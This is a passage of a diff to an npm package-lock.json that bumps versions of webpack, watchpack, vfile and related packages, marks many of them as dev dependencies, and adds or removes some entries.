"https://registry.npmjs.org/utf8/-/utf8-3.0.0.tgz", + "integrity": "sha512-E8VjFIQ/TyQgp+TZfS6l8yp/xWppSAHzidGiRrqe4bK4XP9pTRyKFgGJpO3SN7zdX4DeomTrwaseCHovfpFcqQ==", + "dev": true + }, "util": { "version": "0.11.1", "resolved": "https://registry.npmjs.org/util/-/util-0.11.1.tgz", @@ -17588,7 +22450,8 @@ "util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", + "dev": true }, "util.promisify": { "version": "1.0.0", @@ -17615,7 +22478,8 @@ "uuid": { "version": "3.4.0", "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", - "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", + "dev": true }, "v8-compile-cache": { "version": "2.1.0", @@ -17656,32 +22520,25 @@ } }, "vfile": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/vfile/-/vfile-4.1.0.tgz", - "integrity": "sha512-BaTPalregj++64xbGK6uIlsurN3BCRNM/P2Pg8HezlGzKd1O9PrwIac6bd9Pdx2uTb0QHoioZ+rXKolbVXEgJg==", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-4.2.1.tgz", + "integrity": "sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA==", "dev": true, "requires": { "@types/unist": "^2.0.0", "is-buffer": "^2.0.0", - "replace-ext": "1.0.0", "unist-util-stringify-position": "^2.0.0", "vfile-message": "^2.0.0" }, "dependencies": { "is-buffer": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.4.tgz", - "integrity": "sha512-Kq1rokWXOPXWuaMAqZiJW4XxsmD9zGx9q4aePabbn3qCRGedtH7Cm+zV8WETitMfu1wdh+Rvd6w5egwSngUX2A==", + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", "dev": true } } }, - "vfile-location": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-3.0.1.tgz", - "integrity": "sha512-yYBO06eeN/Ki6Kh1QAkgzYpWT1d3Qln+ZCtSbJqFExPl1S3y2qqotJQXoh6qEvl/jDlgpUJolBn3PItVnnZRqQ==", - "dev": true - }, "vfile-message": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-2.0.4.tgz", @@ -17739,9 +22596,10 @@ "dev": true }, "vscode-languageserver-types": { - "version": "3.15.1", - "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.15.1.tgz", - "integrity": "sha512-+a9MPUQrNGRrGU630OGbYVQ+11iOIovjCkqxajPa9w57Sd5ruK8WQNsslzpa0x/QJqC8kRc2DUxWjIFwoNm4ZQ==" + "version": "3.16.0", + "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.16.0.tgz", + "integrity": "sha512-k8luDIWJWyenLc5ToFQQMaSrqCHiLwyKPHKPQZ5zz21vM+vIVUSvsRpcbiECH4WR88K2XZqc4ScRcZ7nk/jbeA==", + "dev": true }, "warning": { "version": "4.0.3", @@ -17752,14 +22610,136 @@ } }, "watchpack": { - "version": "1.6.1", - "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.6.1.tgz", - "integrity": "sha512-+IF9hfUFOrYOOaKyfaI7h7dquUIOgyEMoQMLA7OP5FxegKA2+XdXThAZ9TU2kucfhDH7rfMHs1oPYziVGWRnZA==", + "version": "1.7.5", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.7.5.tgz", + "integrity": "sha512-9P3MWk6SrKjHsGkLT2KHXdQ/9SNkyoJbabxnKOoJepsvJjJG8uYTR3yTPxPQvNDI3w4Nz1xnE0TLHK4RIVe/MQ==", "dev": true, "requires": { - "chokidar": "^2.1.8", + "chokidar": "^3.4.1", "graceful-fs": "^4.1.2", - "neo-async": "^2.5.0" + "neo-async": "^2.5.0", + "watchpack-chokidar2": "^2.0.1" + }, + "dependencies": { + "anymatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", + "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "dev": true, + "optional": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "optional": true + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "optional": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "chokidar": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.1.tgz", + "integrity": "sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==", + "dev": true, + "optional": true, + "requires": { + "anymatch": "~3.1.1", + "braces": "~3.0.2", + "fsevents": "~2.3.1", + "glob-parent": "~5.1.0", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.5.0" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "optional": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "optional": true + }, + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "optional": true, + "requires": { + "is-glob": "^4.0.1" + } + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "optional": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "optional": true + }, + "readdirp": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz", + "integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==", + "dev": true, + "optional": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "optional": true, + "requires": { + "is-number": "^7.0.0" + } + } + } + }, + "watchpack-chokidar2": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/watchpack-chokidar2/-/watchpack-chokidar2-2.0.1.tgz", + "integrity": "sha512-nCFfBIPKr5Sh61s4LPpy1Wtfi0HE8isJ3d2Yb5/Ppw2P2B/3eVSEBjKfN0fmHJSK14+31KwMKmcrzs2GM4P0Ww==", + "dev": true, + "optional": true, + "requires": { + "chokidar": "^2.1.8" } }, "wbuf": { @@ -17771,10 +22751,19 @@ "minimalistic-assert": "^1.0.0" } }, + "wcwidth": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", + "integrity": "sha1-8LDc+RW8X/FSivrbLA4XtTLaL+g=", + "dev": true, + "requires": { + "defaults": "^1.0.3" + } + }, "webpack": { - "version": "4.43.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.43.0.tgz", - "integrity": "sha512-GW1LjnPipFW2Y78OOab8NJlCflB7EFskMih2AHdvjbpKMeDJqEgSx24cXXXiPS65+WSwVyxtDsJH6jGX2czy+g==", + "version": "4.46.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.46.0.tgz", + "integrity": "sha512-6jJuJjg8znb/xRItk7bkT0+Q7AHCYjjFnvKIWQPkNIOyRqoCGvkOs0ipeQzrqz4l5FtN5ZI/ukEHroeX/o1/5Q==", "dev": true, "requires": { "@webassemblyjs/ast": "1.9.0", @@ -17785,7 +22774,7 @@ "ajv": "^6.10.2", "ajv-keywords": "^3.4.1", "chrome-trace-event": "^1.0.2", - "enhanced-resolve": "^4.1.0", + "enhanced-resolve": "^4.5.0", "eslint-scope": "^4.0.3", "json-parse-better-errors": "^1.0.2", "loader-runner": "^2.4.0", @@ -17798,14 +22787,14 @@ "schema-utils": "^1.0.0", "tapable": "^1.1.3", "terser-webpack-plugin": "^1.4.3", - "watchpack": "^1.6.1", + "watchpack": "^1.7.4", "webpack-sources": "^1.4.1" }, "dependencies": { "acorn": { - "version": "6.4.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.1.tgz", - "integrity": "sha512-ZVA9k326Nwrj3Cj9jlh3wGFutC2ZornPNARZwsNYqQYgN0EsV2d53w5RN/co65Ohn4sUAUtb1rSUAOD6XN9idA==", + "version": "6.4.2", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.2.tgz", + "integrity": "sha512-XtGIhXwF8YM8bJhGxG5kXgjkEuNGLTkoYqVE+KMR+aspr4KGYmKYg7yUe3KghyQ9yheNwLnjmzh/7+gfDBmHCQ==", "dev": true }, "eslint-scope": { @@ -17832,30 +22821,24 @@ } }, "webpack-cli": { - "version": "3.3.11", - "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.3.11.tgz", - "integrity": "sha512-dXlfuml7xvAFwYUPsrtQAA9e4DOe58gnzSxhgrO/ZM/gyXTBowrsYeubyN4mqGhYdpXMFNyQ6emjJS9M7OBd4g==", + "version": "3.3.12", + "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.3.12.tgz", + "integrity": "sha512-NVWBaz9k839ZH/sinurM+HcDvJOTXwSjYp1ku+5XKeOC03z8v5QitnK/x+lAxGXFyhdayoIf/GOpv85z3/xPag==", "dev": true, "requires": { - "chalk": "2.4.2", - "cross-spawn": "6.0.5", - "enhanced-resolve": "4.1.0", - "findup-sync": "3.0.0", - "global-modules": "2.0.0", - "import-local": "2.0.0", - "interpret": "1.2.0", - "loader-utils": "1.2.3", - "supports-color": "6.1.0", - "v8-compile-cache": "2.0.3", - "yargs": "13.2.4" + "chalk": "^2.4.2", + "cross-spawn": "^6.0.5", + "enhanced-resolve": "^4.1.1", + "findup-sync": "^3.0.0", + "global-modules": "^2.0.0", + "import-local": "^2.0.0", + "interpret": "^1.4.0", + "loader-utils": "^1.4.0", + "supports-color": "^6.1.0", + "v8-compile-cache": "^2.1.1", + "yargs": "^13.3.2" }, "dependencies": { - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", - "dev": true - }, "cross-spawn": { "version": "6.0.5", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", @@ -17869,69 +22852,6 @@ "which": "^1.2.9" } }, - "emojis-list": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz", - "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k=", - "dev": true - }, - "enhanced-resolve": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.1.0.tgz", - "integrity": "sha512-F/7vkyTtyc/llOIn8oWclcB25KdRaiPBpZYDgJHgh/UHtpgT2p2eldQgtQnLtUvfMKPKxbRaQM/hHkvLHt1Vng==", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "memory-fs": "^0.4.0", - "tapable": "^1.0.0" - } - }, - "find-up": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", - "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", - "dev": true, - "requires": { - "locate-path": "^3.0.0" - } - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - }, - "loader-utils": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz", - "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==", - "dev": true, - "requires": { - "big.js": "^5.2.2", - "emojis-list": "^2.0.0", - "json5": "^1.0.1" - } - }, - "string-width": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", - "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", - "dev": true, - "requires": { - "emoji-regex": "^7.0.1", - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^5.1.0" - } - }, - "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", - "dev": true, - "requires": { - "ansi-regex": "^4.1.0" - } - }, "supports-color": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz", @@ -17942,29 +22862,10 @@ } }, "v8-compile-cache": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.0.3.tgz", - "integrity": "sha512-CNmdbwQMBjwr9Gsmohvm0pbL954tJrNzf6gWL3K+QMQf00PF7ERGrEiLgjuU3mKreLC2MeGhUsNV9ybTbLgd3w==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", + "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", "dev": true - }, - "yargs": { - "version": "13.2.4", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.2.4.tgz", - "integrity": "sha512-HG/DWAJa1PAnHT9JAhNa8AbAv3FPaiLzioSjCcmuXXhP8MlpHO5vwls4g4j6n30Z74GVQj8Xa62dWVx1QCGklg==", - "dev": true, - "requires": { - "cliui": "^5.0.0", - "find-up": "^3.0.0", - "get-caller-file": "^2.0.1", - "os-locale": "^3.1.0", - "require-directory": "^2.1.1", - "require-main-filename": "^2.0.0", - "set-blocking": "^2.0.0", - "string-width": "^3.0.0", - "which-module": "^2.0.0", - "y18n": "^4.0.0", - "yargs-parser": "^13.1.0" - } } } }, @@ -18113,14 +23014,33 @@ "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.0.0.tgz", "integrity": "sha512-9GSJUgz1D4MfyKU7KRqwOjXCXTqWdFNvEr7eUBYchQiVc744mqK/MzXPNR2WsPkmkOa4ywfg8C2n8h+13Bey1Q==" }, + "whatwg-mimetype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz", + "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==" + }, "which": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, "requires": { "isexe": "^2.0.0" } }, + "which-boxed-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", + "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "dev": true, + "requires": { + "is-bigint": "^1.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "is-symbol": "^1.0.3" + } + }, "which-module": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", @@ -18140,6 +23060,7 @@ "version": "3.1.0", "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-3.1.0.tgz", "integrity": "sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg==", + "dev": true, "requires": { "string-width": "^4.0.0" }, @@ -18147,22 +23068,26 @@ "ansi-regex": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==" + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true }, "emoji-regex": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true }, "is-fullwidth-code-point": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==" + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true }, "string-width": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.0.tgz", - "integrity": "sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==", + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", + "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", + "dev": true, "requires": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", @@ -18173,21 +23098,18 @@ "version": "6.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "dev": true, "requires": { "ansi-regex": "^5.0.0" } } } }, - "window-size": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.4.tgz", - "integrity": "sha1-+OGqHuWlPsW/FR/6CXQqatdpeHY=" - }, "windows-release": { "version": "3.3.3", "resolved": "https://registry.npmjs.org/windows-release/-/windows-release-3.3.3.tgz", "integrity": "sha512-OSOGH1QYiW5yVor9TtmXKQvt2vjQqbYS+DqmsZw+r7xDwLXEeT3JGW0ZppFmHx4diyXmxt238KFR3N9jzevBRg==", + "dev": true, "requires": { "execa": "^1.0.0" } @@ -18195,7 +23117,8 @@ "word-wrap": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", - "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==" + "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", + "dev": true }, "worker-farm": { "version": "1.7.0", @@ -18210,6 +23133,7 @@ "version": "5.1.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", + "dev": true, "requires": { "ansi-styles": "^3.2.0", "string-width": "^3.0.0", @@ -18219,17 +23143,20 @@ "ansi-regex": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==" + "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", + "dev": true }, "is-fullwidth-code-point": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=" + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true }, "string-width": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, "requires": { "emoji-regex": "^7.0.1", "is-fullwidth-code-point": "^2.0.0", @@ -18240,6 +23167,7 @@ "version": "5.2.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, "requires": { "ansi-regex": "^4.1.0" } @@ -18249,7 +23177,8 @@ "wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", + "dev": true }, "write": { "version": "1.0.3", @@ -18264,6 +23193,7 @@ "version": "3.0.3", "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz", "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", + "dev": true, "requires": { "imurmurhash": "^0.1.4", "is-typedarray": "^1.0.0", @@ -18283,12 +23213,23 @@ "xdg-basedir": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/xdg-basedir/-/xdg-basedir-4.0.0.tgz", - "integrity": "sha512-PSNhEJDejZYV7h50BohL09Er9VaIefr2LMAf3OEmpCkjOi34eYyQYAXUTjEQtZJTKcF0E2UKTh+osDLsgNim9Q==" + "integrity": "sha512-PSNhEJDejZYV7h50BohL09Er9VaIefr2LMAf3OEmpCkjOi34eYyQYAXUTjEQtZJTKcF0E2UKTh+osDLsgNim9Q==", + "dev": true + }, + "xml-js": { + "version": "1.6.11", + "resolved": "https://registry.npmjs.org/xml-js/-/xml-js-1.6.11.tgz", + "integrity": "sha512-7rVi2KMfwfWFl+GpPg6m80IVMWXLRjO+PxTq7V2CDhoGak0wzYzFgUY2m4XJ47OGdXd8eLE8EmwfAmdjw7lC1g==", + "dev": true, + "requires": { + "sax": "^1.2.4" + } }, "xml2js": { "version": "0.4.23", "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.4.23.tgz", "integrity": "sha512-ySPiMjM0+pLDftHgXY4By0uswI3SPKLDw/i3UXbnO8M/p28zqexCUoPmQFrYD+/1BzhGJSs2i1ERWKJAtiLrug==", + "dev": true, "requires": { "sax": ">=0.6.0", "xmlbuilder": "~11.0.0" @@ -18297,21 +23238,14 @@ "xmlbuilder": { "version": "11.0.1", "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-11.0.1.tgz", - "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==" - }, - "xregexp": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/xregexp/-/xregexp-4.3.0.tgz", - "integrity": "sha512-7jXDIFXh5yJ/orPn4SXjuVrWWoi4Cr8jfV1eHv9CixKSbU+jY4mxfrBwAuDvupPNKpMUY+FeIqsVw/JLT9+B8g==", - "dev": true, - "requires": { - "@babel/runtime-corejs3": "^7.8.3" - } + "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==", + "dev": true }, "xtend": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", - "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==" + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "dev": true }, "y18n": { "version": "4.0.0", @@ -18322,15 +23256,13 @@ "yallist": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", - "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=" + "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", + "dev": true }, "yaml": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.9.2.tgz", - "integrity": 